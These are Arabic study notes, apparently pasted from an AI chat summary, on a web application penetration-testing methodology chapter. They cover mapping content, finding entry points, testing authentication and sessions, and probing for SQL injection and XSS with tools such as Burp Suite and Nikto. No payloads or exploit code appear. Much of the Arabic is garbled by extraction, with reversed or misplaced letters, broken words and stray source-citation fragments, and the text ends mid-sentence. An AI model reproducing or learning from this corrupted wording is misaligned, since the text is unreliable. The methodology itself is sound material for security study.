ذك: َ
ابق ي
الل بيكمل شغل األدوات.
ماتصدقش النتائج التلقائية ،العقل هو ي
🧳✨
معلومة حلوة عىل الشي ع:
الل قلناها ،أهم حاجة إنك تعرف HTTPكأنه لغتك يف كل األدوات ي
األم .ده هو المفتاح السحري لكل األبواب🗝️ .
المخبق لتطبيقات الويب ر الفصل :21منهجية
يرسح خطوة بخطوة كيف يمكن للمخيق أن يتعامل مع هذا الفصل ر
كي عل كيفية تطبيقات الويب لتحليلها واكتشاف الثغرات األمنية .فيه تر ر
بدءا من جمع المعلومات وحن اختبار الجوانب المختلفة للتطبيقً ،
استغالل الثغرات المكتشفة.
أهم النقاط يف المنهجية:
.1رسم خريطة محتوى التطبيق ( Mapping Application
:)Content
المرن :تصفح الموقع واكتشافي استكشاف المحتوى
الصفحات والمحتويات العامة.
البحث يف المصادر العامة :مثل Googleو Shodanللعثور
غي معروف. مخق أو ر
ي عل محتوى
اض :كالمجلدات والصفحات ر
االفب تحديد المحتوى
ي
اض علالن تكون موجودة عادة بشكل افي ي االفياضية ي
السيفر【.†source】【8:2†source】8:0 ر
.2تحليل التطبيق (:)Analyzing the Application
الكوكي،
ر تحديد نقاط اإلدخال :مثل الحقول يف النماذج،
وطلب الـ .HTTP
اليمجة وإطارات فهم التقنيات المستخدمة :اكتشاف لغات ر
العمل المستخدمة عل الخادم والعميل.
الن يمكن أن تكون رسم سطح الهجوم :تحديد جميع األجزاء ي
عرضة للهجوم.
.3اختبار الضوابط عىل جانب العميل ( Testing Client-Side
:)Controls
للسيفر،
ر التأكد من أمان البيانات المرسلة من المتصفح
واختبار اإلضافات أو السكربتات المستخدمة.
.4اختبار آليات المصادقة (:)Authentication Mechanisms
التحقق من قوة كلمات المرور وشية الحسابات.
البحث عن أي وسيلة لتجاوز آليات تسجيل الدخول.
اختبار اسيجاع الحساب وآليات التحقق
األخرى】.【source†8:9
.5اختبار إدارة الجلسات (:)Session Management
غي تحليل الرموز المستخدمة يف إدارة الجلسات للتأكد من أنها ر
قابلة للتنبؤ.
الكوكي وطرق التخزين الخاصة
ر التحقق من أمان
بها】.【source†8:19
.6البحث عن الثغرات المستندة إل اإلدخال ( Input-Based
:)Vulnerabilities
اختبار الـ ،SQL Injectionوالـ XSS (Cross-Site
غي الن تعتمد عل اإلدخال ر
وغيها من الثغرات ي
) ،Scriptingر
الموثوق.
كيف تطبق هذه المنهجية؟
سء بالتطبيق. ر
ابدأ بالتخطيط :ارسم خريطة لكل ي
استخدم األدوات :مثل Burp Suiteو Niktoلجمع المعلومات
واختبار الثغرات.
حلل النتائج :قم بمراجعة كل خطوة وتحليل الردود لتحديد األنماط
والثغرات.
ً
خلالّ ،
جرب استغالله بطريقة اختب استغالل الثغرات :إذا وجدت
ر